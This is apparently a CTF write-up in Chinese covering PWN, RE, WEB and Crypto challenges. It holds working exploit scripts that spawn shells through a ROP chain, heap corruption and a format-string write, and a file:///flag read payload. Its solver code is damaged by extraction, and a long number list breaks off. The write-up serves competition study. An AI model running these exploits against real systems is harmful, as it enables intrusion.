



解base拿到一个图片



PWN

easy_stack

```
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '110.40.35.73 33719'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
```

```

    gift.io = process('./pwn')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
load_libc()
libc: ELF = gift['libc']
gift.elf = ELF('./pwn')
cmd = '''
    b *$rebase(0x12AC)
    c
'''
launch_gdb(cmd)

s(b'\n')

sla(b'Pick a number: ', b'6')
ru(b'Your magic number is: ')
libc_base = int(ru(b'\n', drop=True), 16) - 0x3EC7E3
set_current_libc_base_and_log(libc_base)

sla(b'How many bytes do you want to read (max 256)?',
b'256')
CG.set_find_area(False, True)
payload = p64_ex(CG.ret()) * 0x1C +
p64_ex(CG.pop_rdi_ret()) +
p64_ex(next(libc.search(b'/bin/sh')))) +
p64_ex(libc.sym.system)
s(payload.ljust(256, b'\x00'))

ia()

```

easy_heap

```

#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":

```

```

    addr = '110.40.35.73 33653'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./pwn')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
load_libc()
libc: ELF = gift['libc']
gift.elf = ELF('./pwn')
cmd = '''
    b *0x401345
    b *0x40148E
    b *0x40151A
    b *0x40131b
    b _IO_flush_all_lockp
    c
'''

input_after_this = b'>'

def add(size, data):
    sla(input_after_this, b'1')
    sla(b'Size', str(size))
    sa(b'Content', data)

def dele(idx):
    sla(input_after_this, b'2')
    sla(b'index', str(idx))

def edit(idx, size, data):
    sla(input_after_this, b'2')
    sla(b'Index', str(idx))
    if size == -1:
        size = len(data)
    sla(b'Size', str(size))

```

```

sa(b'Content', data)

def show(idx):
    sla(input_after_this, b'3')
    sla(b'Index', str(idx))

heap = 0x4040E0

add(0x80, 'aaa\x00')
edit(0, -1, b'\x00' * 0x88 + p64_ex(0xF71))

add(0xEB0, b'a')
add(0x10, b'a')
add(0x200, 'a')
edit(0x2, -1, b'\x00' * 0x18 + p64(0x71) + p64(0x40407D))
add(0x60, 'a')
add(0x60, 'a')

show(5)
ru(b'a\x00\x00')
stdin = u64_ex(r(5) + b'\x7f')
libc_base = stdin - 0x3C48E0
set_current_libc_base_and_log(libc_base)

edit(5, -1, b'a' * 0x3 + p64_ex(stdin) + b'\x00' * 0x48 +
p64_ex(0x4040E8))

show(0)
edit(0, -1, p64_ex(0x404050))
edit(1, -1, p64_ex(get_current_one_gadget_from_libc()[2]))
launch_gdb(cmd)
sla(input_after_this, b'1')
sla(b'Size', b'40960')

ia()

```

something

```
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '120.79.91.95 3332'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    qemu_cmd = [
        'qemu-aarch64', # QEMU 可执行文件路径
        '-g',
        '2333', # '-g' 启动 GDB 服务器端口为 2333
        '-L',
        './libc/',
        './silent', # 你要运行的程序
    ]
    gift.io = process(qemu_cmd)
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
context.arch = 'aarch64'
load_libc()
libc: ELF = gift['libc']
gift.elf = ELF('./silent')
cmd = '''
    target remote localhost:2333
    file ./silent
    b *0x400858
    c
'''
launch_gdb(cmd)

offset = 8
```

```

payload = (f'%x%c%p%x%x%x%c%c%c%c%c%c%c%c%p%p%p%p%
{0x400770 - 0x75}c').encode() + b'%ln'
payload = payload.ljust(0x30, b'\x00')
payload += p64_ex(0x411018)
s(payload)

ia()

```

RE

so_easy

CRC64

```

#include<iostream>
#include<stdint.h>
using namespace std;
unsigned char str[] =
{
    0xAE, 0x81, 0xBA, 0xC1, 0xF0, 0x95, 0x0A, 0x54, 0x14,
    0x03,
    0x4A, 0xE2, 0x52, 0x4E, 0x84, 0xF8, 0xC9, 0x3E, 0x14,
    0x98,
    0x8F, 0x98, 0xFD, 0x09, 0x5E, 0xAD, 0x05, 0xB4, 0x01,
    0x0F,
    0xC0, 0x3F
};

uint64_t a=0x71234EA7D92996F5;
uint64_t *p;
int main()
{
    //freopen("1.txt", "w", stdout);
    for(int i=0; i<6; i++)
    {
        p=((uint64_t*)&str[i*8]);
        for (int j=0; j<255; j++) {
            // check the last bit
            if (*p&1) {
                *p=(*p^a)/2; // p=(p^0xB000...) >> 1
            }
        }
    }
}

```

```

        *p|=0x8000000000000000; // avoid - to +
    }
    else *p=*p/2; // p>=1;
    }
}
for(int i=0;i<48;i++)
{
    printf("%c",str[i]);
}

}

```

quiet_easy

attach直接绕反调试, IAT hook

```

#include<iostream>
using namespace std;
unsigned char sub_keys[] =
"flag{ed1d665e6516a37ab09f0b7a40}";

unsigned char xor_keys[] =
{
    0xB1, 0x74, 0x93, 0x32, 0xD6, 0x13, 0xCC, 0x85, 0x20,
    0xA8,
    0xF4, 0x96, 0x8A, 0xD2, 0x7D, 0x26
};

unsigned char input[32];

unsigned char c[] =
{
    0x80, 0xD3, 0x6F, 0xFF, 0x15, 0x03, 0x98, 0x8C, 0xB4,
    0x5B,
    0x96, 0xC0, 0x59, 0xAC, 0x18, 0xDF, 0x2D, 0xCE, 0x3F,
    0xFB,
    0xC4, 0xED, 0xD8, 0xD2, 0xA8, 0x2D, 0xF8, 0x23, 0x9F,
    0x22,
    0x25, 0xCE
};

int main()

```



```

{
    unsigned char a;
    unsigned char v4,v5,v6,v7;
    for(int i=0;i<32;i++){
        c[i]+=sub_keys[i];
        //printf("%x ",c[i]);
    }

    for(int i=0;i<16;i++)
    {
        for(int k=33;k<=127;k++)
        {
            v4 = k;
            v5 = xor_keys[i] ^ v4;
            v6 = k;
            v7 = xor_keys[i];

            //printf("%x \n",~(v7 & v6));

            a = (~(v7 & v6) & v5);
            if(a==c[i])
            {
                input[i]=k;
                break;
                //printf("%c",k);
            }
        }
        //cout<<endl;

        //printf("%x ",c[i]);
    }

    for(int i=16;i<32;i++)
    {
        for(int k=32;k<=127;k++){

            v4 = k;
            v5 = input[i-16] ^ v4;
            v6 = k;
            v7 = input[i-16];

```

```

        //printf("%x \n", ~(v7 & v6));

        a = (~(v7 & v6) & v5);
        if(a==c[i])
        {
            input[i]=k;
            break;
            //printf("%c",k);
        }
        //printf("%x ",c[i]);
    }

}

for(int i=0;i<32;i++){
    printf("%c",input[i]);
}

}

```

WEB

签到

?file=file:///flag

Crypto

fl@g

```

from Crypto.Util.number import *
from sympy import *
from tqdm import *
from itertools import *
from math import factorial
import string

table = string.ascii_letters + string.digits + "@?!*"
print(len(table))
a1=(factorial(63)*4)

```

```

a2=factorial(60)*4
a3=factorial(57)
a=a1-a2+a3
p=next_prime(int(a))
n =
1017937472374737375735433180348649185970164433000666214518
5130847839571647703918266478112837755004588085165750997749
8936469338733987342361536377249851373045394530627534203969
73717
c =
1388132475577742501308652898326761622837921103707698682051
2952773829300352445758862112340815349468701950817971169990
2033551505881072161229077212788924549772368013381379629968
0596
q=n//p
from gmpy2 import*
phi=(p-1)*(q-1)
d=inverse(65537,phi)
m=pow(c,d,n)
print(long_to_bytes(int(m)))

```

Meet_in_summer

```

# %%
c =
"dc6ba0123102f13a60ec4488d917a53a3c9b61372f39b977e93027fcb
735eac38ceea2c0a7d5d6baf3570eea05200ce0"

```

m =

[767724481337007262687640468880123659435487454641472701442
9061043956825250469483192461528465254395009315846242759652
344633542593912776346560810155753575769,
9198147788819776741033253450248431891161287966174133310503
8519947903125169036790694745103978760154518367474977234267
82092030553430719295206150842641606043,
9092789827681666237983298768917731688183761038058048460048
8850184135170340706245532116990838870060228568431125556575
42520418485754115024216592265110130011,
1181076888015161706560088786037092435311007504517956097433
0482183014762874341731470418782596032571728084994330589719
185257305523360611957714750933866115199,
7884677213687710072392781072358971912008993297117075433492
8019623474139902120020961417008826751952752949782302914812
53036220655030876364416163608108607139,
1141439381559307690604015615068427900061210364265540451716
2389308187790148062903730377182407056604896512394519900592
884894452122077072331190864535428121067,
1134213895293582118962836655860501981484439958382414410173
1344813356579119618732775363184687411365313377681787333232
146907840287863644517237649100659372693,
1293554709383145542573121658300709623623119421708684207562
9832814746156637631742616101140470057869286383236675449607
962527841047484754893595431145248841739,
1084831228420094464997706661964162856381944379861266234327
2733276411423718783555796672172819721988304355412943154694
573529804398734349087148620401719089829,
7234879063866783407170016042571458593477036950799019795561
2526528070804253911231361437236895199219506405648749178205
30198667284206685612724479660953410699,
7171837800090066745542923079505214578490753461565455926207
5985770722358168185687802465530084978347834565272255560337
77484250224790897406618394638468676091,
1324554460064333199876924044870726043997844630375651577654
4574677064863277982595359034118817664396524080448170703980
935703798963875058959319315204701693999,
7522184124854604220481069576785227041874006957450639294761
7540513829408983309127318150901645209653565175142911603294
56401749645806131940256585615193586069,
1155891542506401108674655758478900930290892227996241949335

3852270886953689203519941400137301292330523393761829307187
122091360729719536154804045223986828529,
9801749604292317433434828111869093886035735189580995404060
4889071413233298273670910886229402258646671329825457490155
44460048398406673138991754338060227937,
7625132059085205394796852643143708317984863898897619552053
1179346183624299872815240235627033309787653745348396256269
90649547074841529895799439588233478943,
8776926779842874904317061670402058693948626037897365744142
5401888099936361367162569837520870611864019915641259171394
03218845009839193722506007434918597693,
8710170378802219329129527378274731249849069239079845353946
9025184444544098726016069440538256069757934438778532131852
22219981615963599307540827502108077599,
7142485224441156833288987778276359003030195859747359447884
2823866027020387775350724479558384596247278212849266813166
43621578905557371044896576463735996861,
7478653685529517782374965090866128444373949833139122947895
1108279269139643443237992155862312475409329628319684441723
02066497774530242778412799102738127427,
8292363052628010081784425317844852655875692224436326013373
4182881553503592585316771189268423940472633914355690545219
83091546655203098563280488434060720547,
1150033693289112654952100070258341409715963339850104026840
6455000855307829447313729728037604359277472583679299142394
548084832196999339114802555318386278667,
1157318797113587897401727203086535439104415008022462891379
0843293678425816870792406730400781871263625922631646282782
525613192818173096201005776903785552649,
1019669432249649971053542132643992322859425981623468978746
8273004435877937953353275602282317963683572551082686748515
178232573753035060849213844454595776249,
1221579530751797233440908437307562541396425137381278406148
4136298241983660826214977437642419081350072176922757831491
343918251780888215216368621528563277581,
1136622277172853709235656445690670486033161753465529512152
1439217275979763644431166316017803945385396795431233584313
093814440478682303176645575660230216609,
9756739884551259195959348540161642971878176253660195621700
3097756479460417078363877131020497838082312066810652797587
37397426963496930711163361043955207331,

9236694090401033592881016505649315704008700412946753858068
8933681662413681794973051843789221584937180984333816135913
68249854752208610875301852798514416889,
1110890207442292505823646056021985489748871710557444614207
4317433459453468768732031790410605469465462640291063618241
896810873620167577848843195386561429217,
8621730975359826300726276938042154511228884094143116138567
6895800267586551295245311776517135313556264573284991595021
75028124463278297901970950757812161433,
7120194281882418642470882355784244601381894157756808951175
7806570066815455908624376630604992634032516243117375189113
27106339039826808523263520613755548013,
1035063995948916778434817086119493393498462072097141486896
5378266072676306739174581343456635708313046626785009930109
169695969132416500695634312399635776209,
7263693421583813122151379011537595237281459073934964880265
2328752624384123849445474502004205524780121817245940073941
36431079717591610657450445755225898771,
1283984908403829843944139856144929464443276763206258965878
8636949358149291787822567119299831650151535523142590103711
747277135646237575900419461973204936139,
8634724356617499882799054223730010566865342070466622524132
1304377722130909156380341089136964180464682397946002452228
87038039128133037396845389885523687191,
1179672462449471691623493791063839647803731819318399181790
7569828491392176925835779495369275475655865974283571934493
985136696979215608430563485135785218607,
8968037472194978469702694812167252365967241097172355691971
1779576521420620843618977861679615031235826259730766681821
53978731463686091731107355185977809253,
6806077662648489616697983406117398651136166872425170176935
7014722549482936175208620203271065291078617025078382339812
91571935756834382681833624709780744679,
9665726944190943770918801253129116030022932748384505320121
7739637828293139637678531722674743492053625614216801567888
42301404099097358016714688329289039237,
9784137233858422512738222643399699075542081593469372341860
5078244724447415870235479943703646881390375722876961222996
54702070907328972478650399482257346933,
6986919917731536065829508221366481787169524376009596550944
5387011588546335683096862773188772232776490252005371368524

39350856691996721587387765303348839681,
1034205284705184709133916316203227323807079794101963583687
7312893952080316530437700826725122421036764726970135344492
098557420857338427095366474656502213261,
1169345057304794766854542428650717645623597307477126471064
0624520837140159602340302506591647701084965990654250569529
902043215836894325938079266842485372597,
9321173778049563739469272713747234869194237697569228568874
7531664217550315732723921172968343182150870549054546979122
71383781966242601552174004545733819037,
7457509969558378995388858734990009620074878925015072652705
1277828018405150542694870270887917190818288383311784983965
46147672070891510668768154604793938987,
1221618282985016847611390470479338448027538335098745191496
8050080631625196006739973703087554397320539469882116214816
669670576061811421396124309027842380593,
9858808172563173731642458366683801919500558629981374731398
4442004672128854602784580367805190045556510152061499456337
38461705817706471720534302072677810813,
1228823829902512277374294552607132851207007103786673293422
3247022453036861307373851890124728832497781140184145890662
676130886540481957754106945075950141347,
6846133317755407482760330254862264976184349362750814788724
9279682773272752651824273911812595256592065539281462308861
84060679820637802210049265429915486801,
9786607298213378204598447399901673561659749591223798517644
9689759398353571387967443263967938940154588937750015427771
72087089994144602950536596254351789421,
6846876839190892536556783460908740205804577950247072448078
4792708421773159159612481143729025898449317404848293087463
95004808426422719161970596892667281793,
1153501173303772209416053544024885795249571450181243989248
4284402579272898355054725687173233261773497635323945189526
007380875815953592292600414311526785957,
1133745545507398979972595674749180049973276859713782299934
0112659434004374737236595440970073331946071869686986908082
588829120088853318670783450511961264269,
1156745047843632445110822938108772987044390111393882424193
2076265099276930150384986887648595631848347854306699734252
159704589776608135906694187820529651899,
9043709822869630873477247894636438664044967554044764217326

7932506183587938110455896343290406118969334888213626384464
62723752858741099972997250717442036083,
1163338854724010345926997220208338304861063078397178752473
2204825683042800408686773589864145157140203167338565942254
680140263161243466404571075385878120181,
1110263485805516156955604352708765831997918729881464104978
7214683711102439383645652884878762010188604013696623128480
584263313234761312551029965633367378153,
1145571679718772231296457734119769937561943166257309100228
4553158324598432080102141339414169924054601195925507722718
708894787617511531616600955023095767331,
1201416250156329511616327462056390313798580238839621128283
8435763196766067396512455859566621922578261995736033669743
854351454764037773050487661538137654547,
9967629939492725060581312451231310975859082060187248779918
2513695309230985299177513087723234261213902122396820078357
14245181102149259158150414866232933903,
1320012448043193648362394322834571264595905692783903597571
2205046274698722721518862262060798837611860907275905185896
861086559632221281193185592587562854867,
1096562678886347129972513511753159232517036024986549293910
7486868390933655357840512703906853086207594564287700933280
945536755808732669522109521691848745789,
6750850096080738512648535817972215788692146836938110789012
5059844702954128885578536995419779352099888568988413246435
57398628729367167192922176922053306897,
8517586450428784503037035608447441886895732095104069502023
9238707570761055302602939821045803832425057239262036642149
34550057153797446970254203814654524407,
1045647256482760391873950710025949448937061912974680440169
9837964238006824387070015552899305823755271396427070668843
199745775453272612334281941161714695337,
9895859714831337447618857687890223290007217944726674318834
2458049024453409314507471606378690534244855734120560203216
49539828588318935521461404599792374429,
1026879649970814337133859811084731983406656102398577755743
8154133279149128266555106879747336975796396907391033193239
347700453870759111161104541452228651643,
8304797457860091707428268230451921218724227379607842747725
2563626105564796627638146044658723410746135528686835053545
76541880898371544878815177053647091749,

9416844863442398172867792222496376586190680977639235975197
7114403861280899807586725870613109140692720776960644801382
58735602530814748949063268869147122427,
1168248370080485305885214300679292877338102409064010535987
0045973004617472938469734134281508212069742623682366693780
351076283064790489522406857322133879051,
9704984822830741606832086609539584169381962320109405481733
9393652946452651651683502454180991393231349255041543769637
44610268112090582825801385412810849759,
8232225742434727708259796688414636411529237495502810345291
3553499758011308936134317197371659413733702158092207660747
40426814807639945058246759697861262359,
1173016372351630886628333239167458880890926454408830053001
3053361517886991621105671590662127886841687794074934627221
481846306346613273163211108311375982993,
1028770577922135752411333281479616288545445586080576697337
5178805396641579311151398598875335407099570995851497657799
932315565211270538508090660473459087559,
7250891050280462588815443648734796598491781439583092633513
0791886231556241446849429377181695523817243029045611127222
56659046849276186806233140238123557963,
1178918061518263400906910421997560003079975441336070499648
9353780264544967273835851939552840133324159670636251563260
221901842832988382887394799586913388241,
9655923307812523463144041722397555949570120040663225546983
1345936824145042285593708717662267592269998191646725730892
00886282776346699424199016557532446537,
7922844159623923473300998636993269411980345283695407077855
7850767716165840514940748262869315505617287631399605619930
15025072724808802771926663503724490357,
8523799641526870567450116616594097333553889321678297601399
5243866689940206662548845128543086067365699758350149749397
70928148019795586412889909640386228693,
1025054541018969770038363142202799748814380432511811022170
8887711531960781187639545537804123212047713304384483131693
946260925901572154549027526892695068159,
8965929888796252091878757360446163175753520228166187877371
2336413648131079948703935490383333537601857783389669769912
98441070319191908825501949773457307821,
8644585641746997224945003559974852046611733089944191443755
8731550857436209254417319734997190046443697911842742845374

04704259457777364381919120734473831307,
1076818400337888419799515688823288798939162941006853840515
0560402608787576225989443173337259782316600762174282270122
275920373240482138494574995286417024039,
9413794954505370019141896712321880657728366076065214635125
1247819582822447367469973702031464575266459945185742199274
45605588939229240901710751772683981881,
8545557301534907319890607844633529384956129388446785723776
0195078822868784604180038393064121918159292996854421315184
47724046548542645731213129963896350229,
1315027092723076084572222811304619333201510820692905302023
2266298494505354341341264498994496187694394145365518859563
411853676427183824077911456564440434909,
7202690448115253155618842107775294917573894200678505499208
9825101777736645186746861260427117393699747044188644790742
09962698277984497651666376315105337041,
1023847068595299966198505807872166963517736610562309004112
6010127365257680271499174524717860675581851141154232405239
080122642585391821510532172738743113577,
9089582166523414914797198621234287268099717825814826359652
7081653270884069291240898913420682910090985083713485589736
56390769758635153107423822929745782979,
7762474940659604593920528087945375356231064749754611006466
9626598686745477273154771688681718925155807355754798372119
79636589282592800523211589088944096391,
1017293362070822502865571497952485623946101309295100123726
1581792810481618284368764260730346122263478499657457395073
377314489852902441173296846024755877137,
1212653672505422717125070615163439915575090754941116043213
2268741984127443067350937119670365334103438402516725858112
362298865624369648676860583168912464671,
1239223357005508957018527861207819179227792149046877476551
1546307495425299188846009728938463313536741120973020774395
993916257472622840883711980511865508071,
1291637408750004567066842650711043377036258571336183468297
1296092997099213709365868426802979844683627598819375742688
474464645986100754302577603167789508239,
8584441048089266949227278208251302108229866541405666579211
2267789057973403634896651381610945236675163340028090142782
90017958400196612222275870959265154239,
1173911089815122939301657473269804065432238681290737477431

1795385379966613159918391832437276698416423613704513281632
276219222254273089927662634991869534167,
1067410993494781462432590750920116027707908181359972471693
9511790787774861535251584919725533517921628038640038125952
818068911006846639925251900726024301237,
8194410804704063055998526978765067864352241636178846264721
2088836211939858732758383319411383661900301627286211538523
91599481011301524605747321678279926261,
8068192284207965079016608039301128333835762139301002386204
1357113596462996051174847625887634156617197773576420975279
28997215666579305976324803604779811503,
7317789786860488026434909481614210683275859881506596801600
5370250703893263948368046712247206293086781178530597352604
71778955025736257327020628049711367913,
1202586458838374492949643704663639211685164613959853661202
0642573150684022930854785372848241827505002001212366261702
480784237687800662610416127546374432579,
7447323137523927532488209907694118385650990979281672488620
6074851880641568174843944092955318405899888451037249604547
40522483139139051694651090942340344639,
1303956818301147078263533926368413307918644325398524504319
7596531362841805685590823390913250234833370796161203700719
542847018324234485764119246212838785449,
7849252050405261547554779190527373697810743393150606135558
2641210074939868683492784555569955679043572402290166509368
84469487151083576872648331069501830301,
1137780797933050113827921494321788883184860883850284137847
1208453543953585433289112939649848366796164285903974334353
308477925149953789388461702176651435341,
1311415381796617385227210510535222568538582496120710051949
1693850313689261505449696477789226215160824224846488733212
065238569927550722384660909240636249001,
7074533071162432326847785305719599492696830973145628864131
2961649621777090261663451411562907894592802652234980201530
13913834566468197559160204679870357599,
1110044660954296537561379033053892997420854726981278595232
7009755460865227731662857566891913498607260875755411907943
761804984713596248363654395598954617041,
8177647573611170602379156741345469881452450257969882873557
4500878967784821378913511188119429884386167340839618155308
79285240990592304397281920074865570851,

1143382425343335443338466399370421245316176216784703519835
9869153540687924140373527226902536931315416504897867113267
231319403589901033773224048093465322443,
7937166977481838914865757742619626172273917403559055144806
1571756260866406262398699804109018817304375849514523171271
78957053289327261312146229767454989933,
1278609833966961829556176635359317738054304958121361338832
6652845990008806787489443508330819342417761696330380144466
986705725980123717742505366934646701181,
1304267774368624239054379613543084137387691661400919562952
1588380187374001477430092815375362929807708826044429853877
405990093330815042471661317800572312189,
1123355342995780428618083600957365149805327943248557038438
7868891908918981099890052382998892080225025714218958322174
057628462322628262215815359896064603221,
8734323424665119316972921073308373586651670314130180252006
0490735103955299161636862354611310415761180700630603901542
27347400177862375440458633490027008107,
7696596335355638851459015752295517969992423232407170707999
9834581161823782373463741087429366885618147146919199513467
62056024596301900193155417949854023849,
1113969794771923026513225927901583609709629757999451355595
7590892240927567702838110241933087631143886001507957198952
284207071981653660498618454435460504489,
1294268882498737840402954562099750269720827782611487838529
3751145393592481204676087562002851299291002063848286001026
241972783677717159723743337285263278441,
1090544268740624044481016527711540135800379832247451336485
9815336395618369549785053856598104374852185413982828871270
273064233435707702098484164988707944493,
1094656705689005723265242178362812444644625128092310117829
5357036267569671756025015801317516599490577898645014947091
725647613154465413838048625923515543019,
1079701050535660238823722907779701830724448898405613065398
0654290141533225558034821059048958638206361519944743429555
413238664350082471345625736204346492061,
1001293447479327264320723689972325084016136378204468850216
0515218848987889342303302156948091335779096739674006472022
208694408168832983939870681901794629657,
1220491013030191791499691095029161420911278432201965076242
2524346230569403703479369107741898692654514407728886551620

305921512155366253921490615034483326641,
1290883028871635384782166922047592275820924966587243946211
2377985923618008171802612771555363948696737253831916294821
495238943173908674790439009891104486177,
8562295396666365653321609502682291964391869121342029381554
3611314514175056051608254893549551850011389500456218217555
79992936445080978765508649368240730647,
7113260502830190294636629404904113045445276887269918347811
4847527630705840028173879561164374832924894502126213214783
88217869536583161207648655205948218473,
1104587285262083879301901722900540479437525761692828675533
8703291816977280233010484559490379657754781036460886874405
573286109020328963129811510843233122197,
1200929144821654098777473455289063520311539068297387602659
0034015973032209821886716054264087050626967404479075339355
908103600066787783189285305670289899039,
8422068437096700475224032484585034294059940912272171154094
8623240522131178745226720740832817578060313221062575228438
65001320269849493836558167475285599427,
1232419407183364199194193218174660553167542042299392621728
1764321469631134129256841781335975262698510598893534933395
308488683996347822521496648819043815699,
1285935319833333870265755412586256805966194844259776144341
7209468893625378545647961365179109631924507093501844576789
163653252405448837763256627173649257807,
6725947014872239149432841454986315965290428481494792077551
5532401329384383891049212916434604435137833298862741400569
48937147261133405260139249074284756809,
1069064764520837240858082533186088578642436850542250269566
8966824633742464056988641527234048308173301549319959327863
477233520993696072267009055156151464373,
8793138543031573794126628970446435387067522312224943897623
1215434764195949446901238032632757939342269112329818455190
11707871416966347313657427445652824933,
1074366225291963255220309363369720743367691488851734525735
4105271119483375515163843593060604431973947024381084823702
013245013677671945195926510354314862939,
1254368081170812740038356242403837792788314838035061161760
4102923761755315139313081204931887018663406624777102411646
018150061299804586377557389184545136221,
6720994581381373262602092504110412404127075755921164156846

0512353826504558365535085151806295600685191623301408795550
84960862705945352179380995607857619859,
6717207136193678058865134963703223060911038694099874667925
9984441320098008604003628352473157025627322075047966050392
65239334277904284601950450705022527889,
6773882427868178846648398389910566924363491997944184815063
2224741740135307053739932971251036098262638497721710141185
50630138353724636792317542164016876173,
1340288106921273182590016826519356888334759604552558180326
5586530670474528128972968162737587853277641115065167000872
15647597019886669942079251364443772361,
1291451820442117792187858575998678582759244615494824385406
8225425693387795934023319200135384566677329981274204724587
883475563623099809300826789885646611347,
1142201206877489586615336539382301016728531392521672849171
6842863404345488442138266671291217078805837015202184214737
159215345081798474507721846484719277869,
1198850826372680040790271703107368320307788146232666391139
1232538185435236064242887027019910479114259173982744364559
008510559766342149892332673216541810273,
1152530606826009485452490719532658852873628784560979072594
8315316370809917066937982130869589996188304855625686421902
659781967466980538940981615339398100993,
1221849572215451070396684432857394090955918344002459256826
2741756027610761758597954407152195332740856863725885768307
380502029900442730993882148548503260209,
1103467442139127698287711264178887166718847626780141882238
3236161827273474498571628530806273460323694098367845735955
852660913108419051823228451459898207409,
9204412388657689177489410439028539108408936199610446127308
0780405275381322294957404368307593265359260086835084229916
20918564521336872247616898614192159799,
1050058112296077977246059906671040352999829733220724982515
7635553512067889354735717747707069829114239178004681799735
829451462964544893459484434588186097419,
1081790451817606992904497676611409785522244354723007983486
3743222301586712823257423384667061418126193810152859086156
316176063479454666263613888132996829147,
1027054860459021804765879663643930671118593665492104881385
1067317019145749465244166781701729215190184287123702344598
311452464523140658572297597736931251839,

1166860267384533972006934572444935544598173403153215892289
2433312841225260163829705368235160681322467421547906653277
528791905731614191946166339184380167397,
7125384166958434709514401418519490209962042656933724222186
3909484520619645950899675500180991608376791371865629602867
65997589654962296457357493577847513947,
1178414440447259089399419586343711807056657556154054245076
6134091823794660486748992252102615252882517634326990871348
754165452322043738669848754568931824521,
1207274814232257032073608464576609252268966131233236087016
7152320482057626085441925528367182376204686765716434999029
556957517705007016092542914401712309493,
9228116245974294691976091094530989546731200647662757266624
4563253670095243514018612811486644880306011712059242577056
95362776047645147513106766031326101137,
6930048959573341140944441018752231588278868542161328311933
4062749845719701006790926551525424817564852803956264102316
78061862708196197968471543221915330123,
1028366187633876041865024832714007196805907887972044143445
8601027491437402188530140103308382375020933820885843591275
960628372735438572006876182080102138837,
1290848440361735900940706274219273383704433795203088503411
0658308866336038071659296062993297629695948003674454568672
723661785921091171685443484491096446723,
9310239305127459276653005275337679245543564612937432118294
6074253699126485910209328981589850010779219939672961836854
92961689886431250671543490384560072167,
1130453606745907340501247945530836584563742263449199855127
9299656503410121969786228639089670769874356135865853628037
427273612222002277178201226991296842321,
1309848820514373093252468287780579350611692695076255945772
2264617494675090638525104677835122152542900857999493108451
451865517201861957726176381638959743681,
1012909085365532174155297843744314369414377682562805283906
7795628660372894682648995265561155985775736863466868945423
503138366963173407162733988035694300441,
7957103516695537567055650357516245575270513277365712943246
2806671650399560828138112918762688517639729643375697355783
61630212914390586166274575321212067751,
1000017606506478331556508075380602515451324150467440907364
9247218947101345312694943050028499704025269919616136508603

689788780300613764965641211233335955081,
1061841010340963455570117388212109009805527109600285926774
3740593471135176364141492092938434226619224409877745742756
470950281770910704094616985230156342163,
6860614394271628931341856398846999483634890157749949891205
1543779184782161510918660605305504366834077244399083822323
79355652997178439936087243210126571461,
1170249175337178834214643007304961037440834911949946657114
0284692872275987472136112557468612089236857051529459933264
884386380399340960650411632810857498199,
8416031713838523162378121318197514556663324068144967371405
1402147269572623001507670162424791583824048921467640422060
56869076027898165596140263438534900487,
1086689877281863401981156992607932292887379599914434561379
5641269841653166276656698128012937656236740937008836618034
219018880287982453826619696433580937053,
6932011772907557070034832922731922069877932468264698258530
4637160916693942020401862111718923589893884630900623119664
19101122140518224804883021315109567439,
8993911075780120621358510865192932315871121319419064955112
4144156232416832060965826709989347578095661703424024983676
02475492790495412958489426027546998881,
7955076453901909815486808422087078182011160108504521448151
8968790493770777634478370709432608867550079828845720914835
15837070713152552981320325121338117927,
7185548695010287749154702704541521202750950535797960358970
3750153585784520069401603825835702887686258478131898373355
91536208431570619412479457228954922407,
1263587331212548989368933952177232479734371137653935777731
0899389203932027222328747153089657640911811039409263877735
975758465183949261415684886622957216381,
1282894555011673631696215299361420498283523873980456122998
6523931710131942117161022312843317386033714743913593776698
987690575010443988364276194448843201371,
1094132823141269464340471531321914626779311395114685689428
4455617844604285245814748917166403525232723523711568031821
486022640176391078146078286037536996931,
1323746131672970744622976654042903767540682240850571909779
8223531636556231429173993110336401263369726495420899073666
966705576139549739349794849487062658651,
1135188076734791522946119726159475076477113105967783589981

0898901849398854513155710709770704679397598752943106462931
625871803542111222819850430204327742273,
8298930872279600188319091902076412096051284198118666832430
1931826364640686992589511233306984009981297446346515960773
04110905011027300526258881607464056759,
7612299586731582080926671440211558820355177508414543652400
3332243596806272434237431781933481846623486959664340471596
87730219736583950194216870942945000033,
1242306658446444801307496421320239598821720616949049057018
8182697242445171098620768577864316926898888352874213049566
825462475740988050799319054692796155109,
1307206872034360778273587038269935770030447584087983354922
0946418429643383317819666831828073290093225118070142173508
196286547694148702163306557740112082107,
9199208432865344200002306687914381501938848912114933694367
6620497899984051712319254477577745996340180494933779752544
48487959279726759855376134599830581781,
7680892203628726425537547704901736701088433798014634638385
1264186535800525857087051179812149356860649737331554767331
17638562297357860794472830474103035393,
8318150144806071864573019347409928636422743905563628808542
4437979609376215514356630391394709491184009330915405715648
35597782446820134967688236670327712073,
1098570796787858319482117530191287967517513716970979605415
1096213012102688512426895710470890936918905485716750078093
800380848102307770385075142360168308701,
9534067162451215969342180557817865768778344426804971218406
9026426539858557585801391036685563558136104870474370336039
02725774431233258717175404223691022711,
8471285986885533841863739979464494354341418905441403901786
4376557817714492108519976136410493811196729651999869588038
53573902708824372515017936528511706707,
1168430811990888577195931726463151570724387875781343914299
5784728150033652923087967672451931359455255303780099892991
940429918932994206556476374434629948893,
1294111395335649367593083289430284723371414125268581464073
2104726609866733160007548325712664668355939112951861358214
580195936473838564077925120086665567701,
1106432786678417004343760951002251738817809317593887681565
5800887188745009107909970556170236939724014046765122370766
979658570214531030326000928247551326387,

1301076224764418270384557720137418806356773478031500566724
1562546934415057297217580485378911131005983998438512314623
859629780811286004183874064889643669079,
1277231635431556854618051999593199679123154388751647116361
8741393856478470897445907503803729168214899364801301414322
295298025159845970921016132950729048733,
9163633085682766117805495305129769812594122927473633705272
9682519072848462550476061440059664234025804997320588764544
08083211988270443825158710340588993569,
1154222561448430760390867385112418217522223935957054167871
2239265862852431554886969803207470447407882108972440335539
